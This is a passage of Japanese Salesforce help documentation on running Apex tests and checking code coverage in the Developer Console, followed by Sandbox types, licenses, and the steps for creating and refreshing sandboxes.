トメソッドの数にすべてのクラスとトリガの数をかけた数が数十万になる場合) にのみ使用します。このオプ
ションでは、すべてのテストメソッドについて集計された形式のコードカバー率の結果が保存されます。その
ため、テストメソッドごとのコードカバー率の結果は表示できません。これには、開発者コンソールの行単位
のコードカバー率を示す、青と赤で強調表示されたコードカバー率も含まれます。テストの実行について詳細
は、Salesforceヘルプの「テスト実行の作成」および『Apex 開発者ガイド』の「単体テストメソッドの実行」を
参照してください。

[独立した自動採番順序] テストオプション
Apexテストで作成されたテストレコードによって組織のレコードの自動採番項目に欠落が発生しないようにす
るには、[オプション...] をクリックし、[独立した自動採番順序] を選択して、[OK] をクリックします。このオ
プションでは、Apexテストで使用される自動採番順序が、組織で使用されている順序と切り離されます。その
結果、Apexテストでテストデータが作成されても、組織のテスト以外の新規レコードについては自動採番項目
の順序は増分されません。
このオプションが有効化されていないと、Apexテストが自動採番項目を含むテストレコードを作成すると、必
ず自動採番項目に欠落が生じます。たとえば、取引先に自動採番項目があり、組織に 50 件の取引先レコード
があって、最後に作成された取引先の項目値が N-0050だとします。5 件のテスト取引先を作成するApexテス
トの実行後、これらのテストレコードはデータベースにコミットされずにロールバックされても、自動採番の
順序は 5 だけ増分されます。次回、テスト以外の取引先レコードを作成すると、自動採番項目値は N-0051で
はなく N-0056 になり、順序に欠落が生じます。テストデータを作成する Apex テストを実行する前にこのオ
プションを有効化すると、自動採番の順序が保持され、次のテスト以外のレコードの自動採番値は連続した
N-0051 になります。
自動採番順序の欠落は、他の状況では依然として発生します。たとえば、新しいレコードを挿入しようとする
トリガが実行に失敗し、レコードがロールバックされた場合などがあります。この場合、同じトランザクショ
ンで正常に挿入されるレコードとロールバックされるレコードがあるため、欠落を完全に回避することはでき
ません。

Apex テスト結果
Apex テスト結果の詳細
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Apex テスト履歴
[Apex テスト履歴] ページには、特定のテスト実行に関連付けられたすべてのテスト結果が表示されます。
このページには、非同期で実行されたテストのみの結果が表示されます。

関連トピック:

開発者コンソールを開く
Apex テスト結果
Apex テスト結果の詳細

Apex テスト結果

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

Apex クラスの定義、編
集、削除、セキュリティ
設定、バージョン設定、
連動関係の表示、および
テストの実行を行う
• 「Apex 開発」

[設定] から、[クイック検索] ボックスにApexと入力し、[Apex テスト実行] を選
択して、[テスト履歴を表示]をクリックし、自分で実行したテストだけでなく、
組織のすべてのテスト結果を表示します。テスト結果は、クリアされない限り
実行終了後 30 日間残ります。
項目の絞り込みリストを表示するには、[ビュー] ドロップダウンリストから事
前定義済みのリストを選択するか、[新規ビューの作成]をクリックして、自分専
用のカスタムビューを定義します。作成したビューを編集または削除するには、
[ビュー]ドロップダウンリストからビューを選択し、[編集]をクリックします。
[表示] をクリックすると、特定のテスト実行に関する詳細を参照できます。
デバッグログを自動的に特定のログレベルとカテゴリに設定します。[Apexテス
ト実行] ページで変更はできません。

レベルカテゴリ

INFOデータベース
FINEApex コード
FINEApex プロファイリング
FINESTワークフロー
INFO入力規則

重要: Apex をリリースまたは Force.com AppExchange 用にパッケージ化する前に、次の条件を満たす必要が
あります。
• Apex コードの少なくとも 75% が単体テストでカバーされており、かつすべてのテストが成功してい

る。
次の点に注意してください。
– 本番組織に Apex をリリースするときに、組織の名前空間内の各単体テストがデフォルトで実行さ

れます。
– System.debug へのコールは、Apex コードカバー率の対象とはみなされません。

6899

Apex テストの実行コードを使用した Salesforce の拡張



– テストメソッドとテストクラスは、Apex コードカバー率の対象とはみなされません。
– Apex コードの 75% が単体テストでカバーされている必要がありますが、カバー率を上げることだ

けに集中すべきではありません。アプリケーションのすべてのユースケース (正・誤両方の場合や
単一データだけでなく複数データの場合) の単体テストを作成するようにしてください。このよう
な多様なユースケースのテストコードを実装することが 75% 以上のカバー率につながります。

• すべてのトリガについて何らかのテストを行う。
• すべてのクラスとトリガが正常にコンパイルされる。

関連トピック:

Apex テスト結果の詳細

Apex テスト結果の詳細

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

Apex クラスの定義、編
集、削除、セキュリティ
設定、バージョン設定、
連動関係の表示、および
テストの実行を行う
• 「Apex 開発」

テスト結果は、自分で実行したテストだけでなく、組織のすべてのテスト結果
をクリアしない限り 30 日間デフォルトビューに表示できます。表示するには、
[設定] から、[クイック検索] ボックスにApexと入力し、[Apex テスト実行] を選
択して、[テスト履歴を表示]をクリックします。[参照]をクリックすると、特定
のテスト実行に関する詳細を参照できます。

関連トピック:

Apex テスト結果
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Apex テスト履歴

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

[Apex テスト履歴] ページには、特定のテスト実行に関連付けられたすべてのテ
スト結果が表示されます。このページには、非同期で実行されたテストのみの
結果が表示されます。
[設定] から、[クイック検索] ボックスにApexと入力し、[Apex テスト履歴] を選
択して組織のすべてのテスト実行結果を表示します。テスト結果は、クリアさ
れない限り実行終了後 30 日間残ります。
[Apex テスト履歴] ページには、ID 別にテスト実行が表示されます。テスト実行
ID をクリックすると、そのテスト実行のすべてのテストメソッドが表示されま
す。テストメソッドを絞り込んで特定のテスト実行の合格、失敗、またはすべ
てのテストメソッドを表示できます。
テストクラス名をクリックすると、特定のテスト実行に関する詳細を表示でき
ます。
テスト実行で失敗したメソッドとキューに追加されたメソッドの数が状況列に表示されます。

開発者コンソールでのテストの実行
開発者コンソールを使用して、テスト実行の設定、テストの実行、Apex コードカバー率のチェックを行いま
す。
開発者コンソールの [Test (テスト)] メニューからテストを管理できます。
• Always Run Asynchronously (常に非同期に実行): このオプションが有効になっていない場合は、1 つのクラス

のテストのみが含まれるテスト実行が同期して実行されます。複数のクラスが含まれるテスト実行は、こ
のオプションが有効になっているかどうかに関係なく非同期に実行されます。

• New Run (新規実行): テスト実行を作成します。詳細は、「テスト実行の作成」を参照してください。
• Rerun (再実行): [Tests (テスト)] タブで選択されたテストを実行します。
• [Rerun Failed Tests (失敗したテストを再実行)]: [Tests (テスト)] タブで強調表示されているテスト実行の失敗し

たテストのみを再実行するには、このオプションを選択します。
• Run All (すべて実行): 保存されているテストメソッドをすべて実行します。
• Abort (中止): [Tests (テスト)] タブで選択されたテストを中止します。
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• New Suite (新規スイート): 定期的にまとめて実行するテストクラスのスイートを作成します。詳細は、「テ
ストスイートを使用した Apex テストクラスセットの管理」を参照してください。

• Suite Manager (スイートマネージャ): テストスイートの作成または削除や、テストスイートに含まれるクラ
スの編集を行います。

• New Suite Run (新規スイートの実行): 1 つ以上のテストスイートにクラスのテスト実行を作成します。
• Collapse All (すべて折りたたむ): [Tests (テスト)] タブの開いているテストをすべて折りたたみます。
• Expand All (すべて展開): [Tests (テスト)] タブのすべてのテストを展開します。
• Clear Test Data (テストデータをクリア): 現在のテストデータとコードカバー率の結果をクリアします。

完了したテストは、開発者コンソールの下部パネルにある [Tests (テスト)] タブに表示されます。

[Overall Code Coverage (全体のコードカバー率)] ペインには、組織の各クラスのコードカバー率が表示されます。
このペインには常に各クラスの現在のカバー率が示されます。すべてのクラスのテストを実行した後、このペ
インに組織全体のカバー率 (%) が太字で表示されます。詳細は、「コードカバー率のチェック」を参照してく
ださい。
テストについての詳細は、『Apex Developer Guide』の「Apex のテスト」を参照してください。

コードカバー率のチェック
テスト実行の作成
テスト実行は、テストメソッドが含まれるクラスのコレクションです。開発者コンソールでテスト実行を
設定し、1 つ以上のテストクラスのテストメソッドを実行することができます。
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テストスイートを使用した Apex テストクラスセットの管理
テストスイートとは、まとめて実行するApexテストクラスのコレクションです。たとえば、リリースの準
備をするたび、または Salesforce が新しいバージョンをリリースするたびに実行するテストスイートを作成
します。開発者コンソールでテストスイートを設定し、定期的にまとめて実行するテストクラスセットを
定義します。

関連トピック:

テスト実行の作成
コードカバー率のチェック

コードカバー率のチェック
開発者コンソールは、組織からコードカバー率情報を取得して表示します。コードカバー率の結果は、API ま
たはユーザインターフェース (開発者コンソール、Force.com IDE、Apex テスト実行ページなど) で実行したテス
トから取得されます。現在の結果をクリアするには、[Test (テスト)] > [Clear Test Data (テストデータをクリア)]

をクリックします。クラスを編集すると、そのクラスのコードカバー率は再度テストを実行するまでクリアさ
れた状態になります。
コードカバー率は開発者コンソールの複数の場所に表示されます。
• [Test (テスト)] タブの [Overall Code Coverage (全体のコードカバー率)] パネルには、テスト実行に含まれてい

る組織の各 Apex クラスのコードカバー率が表示されます。さらに、全体のカバー率も表示されます。
• 完了したテスト実行をダブルクリックすると [Tests Results (テスト結果)] ビューにテストされたクラス、テス

トされたメソッド、所要時間、結果 (スキップ、合格、または失敗)、および必要に応じてエラーメッセー
ジが表示されます。テストが失敗した場合、[Stack Trace (スタック追跡)] 列にテストが失敗したメソッドと行
番号が表示されます。

• Apexクラスの行単位のコードカバー率を表示するには、クラスを開きます。[Code Coverage (コードカバー率)]

メニューには、実装したテストに応じて、次のオプションが 1 つ以上表示されます。
– None (なし)

– All Tests (すべてのテスト): すべてのテスト実行のコードカバー率。
– className.methodName: テスト実行中に行われたメソッドのコードカバー率。
テストでカバーされるコード行は青で表示されます。カバーされていないコード行は赤で表示されます。
カバーが必要ないコード行 (中括弧、コメント、System.debug コールなど) は白のままです。
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メモ: コードカバー率が表示されたクラスを編集すると、ソースコードエディタで強調表示されていた青
と赤が淡色表示されてカバー率が無効になったことを示します。クラスを編集して保存すると、そのク
ラスのカバー率は削除されます。そのクラスのカバー率をチェックするには、再度テストを実行します。

関連トピック:

テスト実行の作成
開発者コンソールでのテストの実行
Apex 開発者ガイド: コードカバー率のベストプラクティス

テスト実行の作成
テスト実行は、テストメソッドが含まれるクラスのコレクションです。開発者コンソールでテスト実行を設定
し、1 つ以上のテストクラスのテストメソッドを実行することができます。
1. 開発者コンソールで、[Test (テスト)] > [New Run (新規実行)] をクリックします。
2. テストの実行が停止するまでの失敗回数を制限するには、[Settings (設定)]をクリックします。[Number of

failures allowed (許容失敗数)] に値を入力して、[OK] をクリックします。
テストの失敗回数に関係なく組織ですべてのテストを実行できるようにするには、[Number of failures

allowed (許容失敗数)]を -1 に設定するか、値を指定しません。テストの失敗が指定した回数に達したら
新しいテストの実行を停止するようにする場合は、[Number of failures allowed (許容失敗数)] を
0 ～ 1,000,000 の値に設定します。値を 0 に設定すると、1 回の失敗でテスト実行が停止されます。値を 1 に
設定すると、2 回目の失敗でテスト実行が停止されます。以降も同様に処理されます。値が大きくなると、
パフォーマンスが低下する可能性があります。[Number of failures allowed (許容失敗数)] 値に追
加したテストの回数が 1,000 増えるごとに、テスト実行が約 3 秒長くなります (テストの実行にかかる時間
は含まれません)。
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この値は、開発者コンソールを閉じるか、新しい値を設定するまで、すべてのテスト実行に適用されます。

3. [Test Classes (テストクラス)] 列のクラスを選択します。
クラスのリストを絞り込むには、[Filter test classes (* = any) (絞り込み条件のテストクラス (* = いずれか))]ボッ
クスに入力します。特定のテストメソッドを選択するには、テストクラスをクリックして、中央の列から
テストを選択します。複数のテストクラスを選択するには、SHIFT または CTRL キーを押したまま選択しま
す。強調表示したすべてのクラスのすべてのメソッドを選択するには、[Add Selected (選択された項目を追
加)] をクリックします。

4. 実行するすべてのメソッドが [Selected Tests (選択されたテスト)] 列に追加されたら、[Run (実行)] をクリック
します。
テスト実行が、[Tests (テスト)] タブに表示されます。テストを停止するには、[Test (テスト)] > [Abort (中止)]

をクリックします。

メモ: テストメソッドが組織でテストとして定義されている他のメソッドまたはクラスをコールする
場合、それらのメソッドやクラスも実行されます。

5. [Tests (テスト)] タブでテスト実行を展開すると、実行内の各クラスで呼び出されたメソッドごとに結果が表
示されます。

メモ: テストクラスにはコードカバー率は必要ないため、[Overall Code Coverage (コードカバー率全体)] ペ
インのカバー率は 0% と表示され、コードカバー率全体には影響しません。

6. 完了したテスト実行をダブルクリックすると、詳細ビューが開いて結果が示されます。この詳細ビューに
は、テストされたクラス、テストされたメソッド、所要時間、結果 (スキップ、合格、失敗)、および必要
に応じてエラーメッセージが表示されます。
テストが失敗した場合、[Stack Trace (スタック追跡)] 列にテストが失敗したメソッドと行番号が表示されま
す。

メモ:  [Tests (テスト)] タブでは、同期テスト実行のログにアクセスできません。ただし、[Logs (ログ)] タ
ブではすべてのテスト実行のログにアクセスできます。

7. [Class Code Coverage (クラスコードカバー率)] ペインでクラス別にテストメソッドによるコードカバー率を確
認するには、メソッドを選択します。
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8. 現在の結果をクリアするには、[Test (テスト)] > [Clear Test Data (テストデータをクリア)]をクリックします。

関連トピック:

開発者コンソールでのテストの実行
コードカバー率のチェック

テストスイートを使用した Apex テストクラスセットの管理
テストスイートとは、まとめて実行する Apex テストクラスのコレクションです。たとえば、リリースの準備
をするたび、または Salesforce が新しいバージョンをリリースするたびに実行するテストスイートを作成しま
す。開発者コンソールでテストスイートを設定し、定期的にまとめて実行するテストクラスセットを定義しま
す。
1. 開発者コンソールで、[Test (テスト)] > [New Suite (新規スイート)] を選択します。
2. テストスイートの名前を入力して、[OK] をクリックします。
3. 矢印を使用してクラスを [Available Test Classes (使用可能なテストクラス)] 列と [Selected Test Classes (選択された

テストクラス)] 列間で移動し、[Save (保存)] をクリックします。
テストスイートに含めるクラスを変更するには、[Test (テスト)] > [Suite Manager (スイートマネージャ)] > あな
たのテストスイート  > [Edit Suite (スイートを編集)] を選択します。テストスイート名をダブルクリックして編
集することもできます。矢印を使用してクラスを [Available Test Classes (使用可能なテストクラス)] 列と [Selected

Test Classes (選択されたテストクラス)] 列間で移動し、[保存] をクリックします。
テストクラスのスイートを実行するには、[Test (テスト)] > [New Suite Run (新規スイートの実行)]を選択します。

リリース

この項では、コーディングした変更の組織へのリリースについて説明します。
リリース前に変更をテストできるように、コードはSandboxで変更する必要があります。Sandboxには、本番組
織から独立したデータ、コード、構成設定のコピーが含まれています。組織およびテストアプリケーションを
Sandbox でカスタマイズし、準備が整ったら変更内容を本番組織にリリースできます。複数の開発者が異なる
Sandbox で作業し、これらの変更を調整してからリリースする場合もあります。次のセクションには、リリー
スプロセスや、変更の作成およびリリースで使用できるツールについての詳細が記載されています。
• 変更点のリリース
• 変更の作成ツールとリリースツールの選択
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Sandbox からの機能強化のリリース

Sandbox は、別の環境に作成された Salesforce 組織のコピーです。Sandbox を使用して、本番組織のデータやアプ
リケーションを損なうことなく、開発、テスト、トレーニングを行うことができます。

Sandbox: カスタマイズとテストのためのステージング環境
本番組織やそのユーザに影響を与えることなく変更をテストできるステージング環境で組織をカスタマイ
ズする必要がありますか? 本番の準備が整う前にユーザがログインして新しい機能をテストできる組織が必
要ですか? あるいは、Salesforce 組織にログインして、本番組織に反映されるトレーニングや開発を行う必要
がありますか?

Sandbox の作成または更新
Sandbox を作成して、開発、テスト、およびトレーニングに使用します。既存の Sandbox を更新して、その
コンテンツを更新します。
Sandbox の管理
[設定] で、[クイック検索] ボックスに「Sandbox」と入力し、[Sandbox] を選択します。購入済みの使用可
能な Sandbox、および使用中の Sandbox のリストが表示されます。
変更点のリリース
[設定] で使用できる開発ツールを使用して、Salesforce 組織間でメタデータの変更を移行します。

Sandbox: カスタマイズとテストのためのステージング環境

本番組織やそのユーザに影響を与えることなく変更をテストできるステージング環境で組織をカスタマイズす
る必要がありますか? 本番の準備が整う前にユーザがログインして新しい機能をテストできる組織が必要です
か? あるいは、Salesforce 組織にログインして、本番組織に反映されるトレーニングや開発を行う必要がありま
すか?

Salesforce には、Sandbox や一連のリリースツールが用意されており、次のことを実現できます。
• 変更をリリースする準備が整うまでカスタマイズおよび開発作業を本番環境から分離する。
• 本番データおよびユーザのコピーに対して変更をテストする。
• トレーニング環境を提供する。
• 個々の変更を調整して 1 つにまとめ、本番にリリースする。
機能を組織に追加するシステム管理者でも、コードを記述する単独の開発者でも、組織の強化に取り組む開発
者チームでも、適切な環境とツールを使用して作業し、正常に変更を作成して本番組織にリリースする必要が
あります。開発プロセスや作業の整理に関する推奨事項の概要は、『開発ライフサイクルガイド』を参照して
ください。

Sandbox の種別およびテンプレート
Sandbox は本番組織から隔離されているため、Sandbox で実行する操作が本番組織に影響することはありま
せん。
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種類別 Sandbox ライセンスおよびストレージ
必要なストレージ、コピー設定、更新頻度に応じて、組織に異なる Sandbox 環境を作成できます。

関連トピック:

Sandbox の種別およびテンプレート
変更点のリリース
変更の作成ツールとリリースツールの選択

Sandbox の種別およびテンプレート
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

Sandbox を参照する
• 「設定・定義を参照す

る」

Sandbox を作成、更新、
有効化、および削除する
• 「Sandbox の管理」

Sandbox は本番組織から隔離されているため、Sandbox で実行する操作が本番組織
に影響することはありません。
[設定] から、[クイック検索] ボックスに「Sandbox」と入力し、[Sandbox] を選
択して既存の Sandbox を表示および管理するか、新しい Sandbox を作成します。

Sandbox の種別
Developer Sandbox

Developer Sandbox は、隔離された環境での開発とテストを目的としています。
Developer Sandbox には、本番組織の設定 (メタデータ) のコピーが含まれます。

Developer Pro Sandbox

Developer Pro Sandbox は、隔離された環境での開発とテストを目的としており、
Developer Sandbox より大きなデータセットをホストできます。Developer Pro

Sandbox には、本番組織の設定 (メタデータ) のコピーが含まれます。Developer

Pro Sandbox は、より多くの開発および品質保証作業の処理や、インテグレー
ションテストまたはユーザトレーニングに使用します。

Partial Copy Sandbox

Partial Copy Sandbox は、テスト環境として使用されることを目的としていま
す。この環境には、本番組織の設定 (メタデータ) のコピー、および Sandbox

テンプレートで定義されている本番組織のデータのサンプルが含まれます。
Partial Copy Sandbox は、ユーザ受け入れテスト、インテグレーションテスト、
トレーニングなどの品質保証作業に使用します。

Full Sandbox

Full Sandbox は、テスト環境として使用されることを目的としています。パフォーマンステスト、負荷テス
ト、およびステージングをサポートするのは Full Sandbox のみです。Full Sandbox は、すべてのデータ (オブ
ジェクトレコード、添付ファイルなど) とメタデータを含む、本番組織の複製です。Full Sandbox は更新間隔
が長いため、開発には向いていません。
Sandbox テンプレートを適用し、Sandbox にテストやその他のタスクに必要なレコードのみが含まれるよう
にすることをお勧めします。
Full Sandbox を作成する場合、どの程度の項目追跡履歴および Chatter 活動を含めるかを決める必要もありま
す。
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• デフォルトでは項目追跡は省略されますが、180 日までの項目追跡を含めることができます。本番組織
で多くのオブジェクトの項目履歴を追跡している場合は、過剰な量のデータが生成されないように少な
い日数を指定します。

• Chatter 活動データは非常に大きい場合があり、Full Sandbox のコピー時間が大幅に増える可能性がありま
す。

コピーする項目追跡の量を制限し、使用事例のテストに必要な場合にのみ Chatter データをコピーします。

[Sandbox テンプレート] タブ
Partial Copy Sandbox または Full Sandbox のライセンスを購入した場合は、このタブに作成済みのテンプレートが表
示されます。
Sandbox データテンプレートの作成、テンプレートからの Sandbox の作成、テンプレートの編集または削除を実
行します。また、テンプレート名をクリックすると詳細が表示されます。Sandbox データテンプレートの作成
についての詳細は、「Sandbox テンプレートの作成または編集」 (ページ 6922)を参照してください。

[Sandbox 履歴] タブ
このタブには、Sandbox の作成日時や作成者など、Sandbox の作成および更新履歴のログが表示されます。この
タブに表示される情報は参照のみです。既存の Sandbox を表示または編集する場合は、Sandbox タブを使用しま
す。

Sandbox ライセンス
ライセンスは、Sandbox の種別ごとに購入します。種別ごとに複数ライセンスを購入できます。Sandbox ライセ
ンスは階層化されています。具体的には、次の表に各ライセンスで作成可能な Sandbox の種別がまとめられて
います。

Developer
Sandbox ライセ

ンス

Developer Pro
Sandbox ライセ

ンス

Partial Copy
Sandbox ライセ

ンス

Full Sandbox ラ
イセンス

作成可能な種別

Developer Sandbox 種別

Developer Pro Sandbox 種別

Partial Copy Sandbox 種別

Full Sandbox 種別

ライセンスフェーズ
使用可能

表示される値は、購入済みで未使用の Sandbox の数を表します。
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使用中
表示される値は、購入済みで使用済みの Sandbox の数を表します。

メモ:  Sandbox オプションが表示されない場合や、追加ライセンスが必要な場合は、Salesforce に連絡して組
織の Sandbox を注文してください。

Sandbox ライセンスの期限が切れると、既存の Sandbox に一定の制限が適用されます。ライセンスの期限切れの
問題に関する解決策については、「Sandbox のロック解除」 (ページ 6920)を参照してください。

Sandbox の更新間隔について
各 Sandbox 環境の更新間隔は、実際の Sandbox のコピープロセスが開始した時点から計算されます。コピーの
開始時に、Sandbox の状況が [待機中] から [処理中] に変更されます。
他の Sandbox のコピー要求が先に行われていると、自分の Sandbox がしばらくの間 [待機中] 状況のままになるこ
とがあります。Sandbox の更新間隔タイマーは、要求がこの状況から変わるまで開始されません。

関連トピック:

Sandbox の作成
種類別 Sandbox ライセンスおよびストレージ
Sandbox のロック解除
Sandbox と Sandbox ストレージの全般的な制限
https://developer.salesforce.com/docs/atlas.en-us.dev_lifecycle.meta/dev_lifecycle/

種類別 Sandbox ライセンスおよびストレージ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

必要なストレージ、コピー設定、更新頻度に応じて、組織に異なるSandbox環境
を作成できます。
種別ごとに、アクティビティをサポートするために設計された機能が異なりま
す。

表 80 : エディション別の使用可能な Sandbox

Enterprise
Edition

Unlimited
Edition

Performance
Edition

Professional
Edition

Sandbox の種類

2510010010 (変更セッ
トは使用不
可)

Developer Sandbox

55Developer Pro
Sandbox

111Partial Copy Sandbox

11Full Sandbox
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メモ: 他の種別のアドオン Sandbox とバンドルされているDeveloper Sandboxを除き、どのエディションでも
追加の Sandbox を購入できます。
• Developer Pro Sandbox アドオンは、5 個の Developer Sandbox とバンドルされています。
• Partial Copy Sandbox アドオンは、10 個の Developer Sandbox とバンドルされています。
• Full Sandbox アドオンは、15 個の Developer Sandbox とバンドルされています。

表 81 : Sandbox 機能のクイックリファレンス
Sandbox テンプレー
ト

コピーされる内容ストレージ制限更新間隔Sandbox の種類

利用不可メタデータのみデータストレージ:
200 MB

ファイルストレー
ジ: 200 MB

1 日Developer Sandbox

利用不可メタデータのみデータストレージ: 1
GB

ファイルストレー
ジ: 1 GB

1 日Developer Pro Sandbox

必須メタデータとサンプ
ルデータ

データストレージ: 5
GB

ファイルストレー
ジ: 5 GB

5 日Partial Copy Sandbox

使用可能メタデータとすべて
のデータ

本番組織と同じ29 日Full Sandbox

関連トピック:

Sandbox の作成
Sandbox テンプレートの作成または編集
Sandbox の設定に関する考慮事項
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Sandbox の作成または更新

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

Sandbox を参照する
• 「設定・定義を参照す

る」

Sandbox を作成、更新、
有効化、および削除する
• 「Sandbox の管理」

Sandbox を作成して、開発、テスト、およびトレーニングに使用します。既存の
Sandbox を更新して、そのコンテンツを更新します。
メタデータとデータを Sandbox にコピーするには、次の方法があります。
• Sandbox を作成する。

Sandbox を作成すると、Salesforce によって本番組織のメタデータが Sandbox 組
織にコピーされます。Partial Copy または Full Sandbox を作成するときに、Sandbox

テンプレートが作成済みの場合にはそれを適用できます。お客様は、Partial

Copy または Full Sandbox にコピーする特定のオブジェクトデータを定義する
Sandbox テンプレートを作成します。

• 既存の Sandbox を更新し、有効化する。
Sandbox を更新すると、ソース組織の Sandbox のメタデータが更新されます。
Sandbox で Sandbox テンプレートが使用されている場合は、更新プロセスによ
り、組織のデータがそのメタデータに加えて更新されます。

Sandbox の作成
Sandbox を作成すると、Salesforce によって本番組織のメタデータが Sandbox 組
織にコピーされます。
Sandbox の更新
Sandbox を更新すると、ソース組織の Sandbox のメタデータが更新されます。
Sandbox で Sandbox テンプレートが使用されている場合は、更新プロセスにより、組織のデータがそのメタ
データに加えて更新されます。
更新された Sandbox の有効化
Sandbox の更新中に [自動的に有効化] をオンにしなかった場合は、Sandbox を使用する前に有効にする必要
があります。
Sandbox の進行状況の監視
[設定] から、[クイック検索]ボックスに「Sandbox」と入力し、[Sandbox]を選択します。Sandbox のリスト
に、キューで待機中、処理中、最近完了済みの項目の進行状況バーが表示されます。
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Sandbox の作成
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

Sandbox を参照する
• 「設定・定義を参照す

る」

Sandbox を作成、更新、
有効化、および削除する
• 「Sandbox の管理」

Sandbox を作成すると、Salesforce によって本番組織のメタデータが Sandbox 組織
にコピーされます。
1. [設定] から、[クイック検索]ボックスに「Sandbox」と入力し、[Sandbox]を

選択します。
2. [新規 Sandbox] をクリックします
3. Sandbox の名前 (10 文字以下) と説明を入力します。

次の条件を満たす名前を選択することをお勧めします。
• 「QA」など、この Sandbox の目的を反映している。
• 文字数が少ない。これは、Salesforce が Sandbox 環境のユーザレコードの

ユーザ名に Sandbox 名を付加するためです。文字数の少ない名前であれ
ば、Sandbox へのログイン時の入力も容易です。

4. 使用する Sandbox の種別を選択します。
Sandbox オプションが表示されない場合や、追加ライセンスが必要な場合は、
Salesforce に連絡して組織の Sandbox を注文してください。
購入する Sandbox の数を減らす場合は、所有する Sandbox の数を購入数と一致
させることを求められます。たとえば、2 つの Full Sandbox を所有していて、
1 つしか購入しない場合、Full Sandbox を作成することはできません。代わり
に、使用可能な種別に応じて、Full Sandbox を Developer Pro Sandbox または
Developer Sandbox などのより機能の少ない Sandbox に変換します。

5. Partial Copy Sandbox または Full Sandbox に含めるデータを選択します。
• Partial Copy Sandbox の場合は、[次へ] をクリックし、作成したテンプレートを選択して Sandbox にデータ

を指定します。この Partial Copy Sandbox にテンプレートを作成していない場合は、「Sandbox テンプレー
トの作成または編集」を参照してください。

• Full Sandbox の場合は、[次へ] をクリックし、含めるデータの量を決定します。
– Full Sandbox にテンプレートに基づくデータを含めるには、既存の Sandbox テンプレートを選択しま

す。詳細は、「Sandbox テンプレートの作成または編集」を参照してください。
– Full Sandbox にすべてのデータを含めるには、どの程度の項目追跡履歴データを含めるか、および

Chatter データをコピーするかどうかを選択します。履歴は 0 ～ 180 日分のコピーが可能で、30 日単位
で増加できます。デフォルトは 0 日です。Chatter データには、フィード、メッセージ、および検出ト
ピックが含まれます。コピーするデータの量を減らすと、Sandbox のコピー時間を大幅に短縮できま
す。

6. この Sandbox の作成後および更新後に毎回スクリプトを実行するには、SandboxPostCopy インターフェースか
ら以前に作成した Apex クラスを指定します。

7. [作成] をクリックします。

ヒント:  Sandbox のコピー処理中は、本番組織への変更を制限するようにしてください。
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組織のサイズと種別によって、このプロセスにかかる時間は数分から数日まで変動します。
Sandbox が使用できる状態になると、Sandbox のコピーが完了したことを示す通知メールを受け取ります。
Sandbox にアクセスするには、通知メールのリンクをクリックします。ユーザは自分の Salesforce ユーザ名に
.sandbox_name を付加することにより、https://test.salesforce.com から Sandbox にログインできま
す。たとえば、本番組織のユーザ名が user1@acme.com で、Sandbox の名前が「test」の場合、Sandbox にログ
インするための変更後のユーザ名は user1@acme.com.test になります。

メモ: Salesforce は Sandbox ユーザ名を自動的に変更しますが、パスワードは変更しません。新しい Sandbox

では、メールの送信設定がデフォルトで [システムメールのみ] になります。[システムメールのみ] 設定
は、テスト作業や開発作業でテストメールがユーザに送信されないようにSandboxから送信されるメール
を制御する場合に特に便利です。

関連トピック:

Sandbox の種別およびテンプレート
種類別 Sandbox ライセンスおよびストレージ
Sandbox テンプレートの作成または編集
Sandbox の設定に関する考慮事項
Sandbox のロック解除

Sandbox の更新
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

Sandbox を参照する
• 「設定・定義を参照す

る」

Sandbox を作成、更新、
有効化、および削除する
• 「Sandbox の管理」

Sandbox を更新すると、ソース組織の Sandbox のメタデータが更新されます。
Sandbox で Sandbox テンプレートが使用されている場合は、更新プロセスにより、
組織のデータがそのメタデータに加えて更新されます。
1. [設定] から、[クイック検索]ボックスに「Sandbox」と入力し、[Sandbox]を

選択します。
Sandbox のリストが表示されます。更新できる Sandbox の名前の横には [更新]

リンクがあります。

2. 名前の横にある [更新] をクリックします。
3. [名前]、[説明]、[作成元] の値を確認し、必要に応じて編集します。
4. 使用する Sandbox 環境の種別を選択します。

組織で使用できる Sandbox ライセンスの数と種別が表に表示されます。異な
る種別の Sandbox を選択して更新できます。

5. コピーするデータを選択します。
Partial Copy Sandbox の場合は、[次へ] をクリックし、テンプレートを選択して
Sandbox にデータを指定します。この Partial Copy Sandbox にテンプレートを作
成していない場合は、「Sandbox テンプレートの作成または編集」を参照し
てください。
Full Sandbox の場合は、[次へ] をクリックし、含めるオブジェクトデータの量
を決定します。
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Full Sandbox にテンプレートに基づくデータを含めるには、既存の Sandbox テンプレートを選択します。詳細
は、「Sandbox テンプレートの作成または編集」を参照してください。
Full Sandbox にすべてのオブジェクトデータを含めるには、どの程度の項目追跡履歴データを含めるか、お
よび Chatter データをコピーするかどうかを選択します。履歴は 0 ～ 180 日分のコピーが可能で、30 日単位
で増加できます。デフォルトは 0 日です。Chatter データには、フィード、メッセージ、および検出トピッ
クが含まれます。コピーするデータの量を減らすと、Sandbox のコピー時間を短縮できます。

6. 更新後すぐに Sandbox を有効にするには、[自動的に有効化]を選択します。この場合、有効化メールは送信
されません。

7. [作成] をクリックします。
Salesforce で、Sandbox へのデータのコピーが開始されます。
